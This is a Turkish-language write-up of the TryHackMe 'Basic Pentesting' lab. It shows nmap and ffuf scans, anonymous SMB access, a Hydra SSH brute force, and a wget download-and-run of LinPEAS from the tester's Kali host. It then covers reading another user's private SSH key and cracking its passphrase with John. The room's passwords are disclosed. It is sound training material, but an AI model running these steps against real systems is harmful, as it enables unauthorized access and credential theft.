

TryHackMe - Basic Pentesting Write-Up

Bu makalede TryHackMe platformunda bulunan **Basic Pentesting** odasının çözüm adımlarını inceleyeceğiz. Oda, temel web zafiyetleri, SMB enumeration (bilgi toplama), brute-force saldırıları ve Linux üzerinde yetki yükseltme (privilege escalation) konularını kapsıyor.

1. Keşif (Reconnaissance) ve Bilgi Toplama

İlk adım olarak hedef sistemde hangi servislerin çalıştığını görmek için detaylı bir Nmap taraması başlattım.

```
nmap -sC -sV -T5 <hedef_ip>
```

Nmap Çıktı Özeti:

- **Port 22 (SSH):** OpenSSH 8.2p1
- **Port 80 (HTTP):** Apache httpd 2.4.41
- **Port 139 & 445 (SMB):** Samba smbd 4
- **Port 8009 & 8080:** Apache Tomcat / Jserv

Web sunucusunun çalıştığını gördüğüm için port 80 üzerinde gizli dizinleri bulmak amacıyla ffuf ile bir tarama gerçekleştirdim:

```
ffuf -w /usr/share/wordlists/dirb/big.txt -u http://<hedef_ip>/FUZZ -fc 404 -e .php, .html, .txt, .bak -t 100
```

Tarama sonucunda development adında dikkat çekici bir dizin (Status: 301) keşfettim. Tarayıcı üzerinden `http://<hedef_ip>/development` adresine gittiğimde iki adet metin dosyasıyla karşılaştım. Bu dosyaları okuduğumda şu kritik bilgileri elde ettim:

1. Sistemde **J** ve **K** baş harflerine sahip iki kullanıcı var.
2. **K**, **J**'ye `/etc/shadow` dosyasını incelediğini ve **J**'nin parolasının çok zayıf olduğunu (kolayca kırılabilirdiğini) söylüyor.
3. Sistemde Apache Struts 2.5.12 versiyonunun kullanıldığını ve SMB'nin yapılandırıldığını öğreniyoruz.

2. SMB Enumeration

Notlarda SMB'nin yapılandırıldığını gördükten sonra, dışarıdan anonim erişime açık bir paylaşım olup olmadığını kontrol ettim:

```
smbclient -L //<hedef_ip> -N
```

Çıktıda Anonymous adında bir paylaşım olduğunu gördüm ve parola girmeden içeri bağlandım:

```
smbclient //<hedef_ip>/Anonymous -N
```

İçeride staff.txt adında bir dosya vardı. Dosyayı indirip okuduğumda, notlarda geçen J ve K harflerinin tam isimlerinin **Jan** ve **Kay** olduğunu kesinleştirdim:

"...PLEASE do not upload non-work-related items to this share... (This means you too, Jan!) -Kay"

3. Sisteme Sızma (Brute-Force)

Elimizde iki önemli bilgi vardı:

1. Geçerli bir kullanıcı adı: **jan**
2. Jan'ın parolasının zayıf olduğu bilgisi.

Bu bilgileri kullanarak SSH servisi üzerinde rockyou.txt kelime listesiyle bir brute-force saldırısı başlattım:

```
hydra -l jan -P /usr/share/wordlists/rockyou.txt -t 4 -V -f ssh://<hedef_ip>
```

Saniyeler içinde Hydra parolayı buldu: **armando**

Hemen SSH üzerinden sisteme giriş yaptım:

```
ssh jan@<hedef_ip>  
# Parola: armando
```

4. Yetki Yükseltme (Privilege Escalation)

Sisteme jan olarak girdikten sonra, asıl yetkili kullanıcılardan biri olan kay'e veya doğrudan root'a geçiş yapmam gerekiyordu. Sistemdeki potansiyel açıkları taramak için Kali makinemden hedefe **LinPEAS** aracını aktarıp çalıştırdım.

```
# Hedef makinede
cd /tmp
wget http://<kali_ip>:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
```

LinPEAS taraması sonucunda muazzam bir detay kırmızıyla parlıyordu:

- /home/kay/.ssh/id_rsa (Kay kullanıcısına ait gizli SSH anahtarı okuma iznine sahipti!)

Hemen dosyayı okuyup (cat /home/kay/.ssh/id_rsa) içeriğini kendi Kali makineme kay_key.txt adıyla kaydettim. Ancak dosyanın başında anahtarın şifrelenmiş olduğunu (ENCRYPTED) gördüm.

Bu parolayı kırmak için önce SSH anahtarını John the Ripper'ın anlayacağı hash formatına çevirdim, ardından rockyou.txt ile kıldım:

```
ssh2john kay_key.txt > kay_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt kay_hash.txt
```

John the Ripper parolayı saniyeler içinde verdi: **beeswax**

5. Sonuç ve Bayrak (Flag)

Gerekli izinleri ayarladıktan sonra kay kullanıcısı olarak SSH üzerinden sisteme bağlandım:

```
chmod 600 kay_key.txt
ssh -i kay_key.txt kay@<hedef_ip>
# Passphrase: beeswax
```

İçeri girdiğimde kay'in ev dizininde beni **pass.bak** adında bir dosya bekliyordu. Dosyayı okuyarak odanın son şifresine (bayrağına) ulaştım ve makineyi başarıyla tamamladım!

```
cat pass.bak
```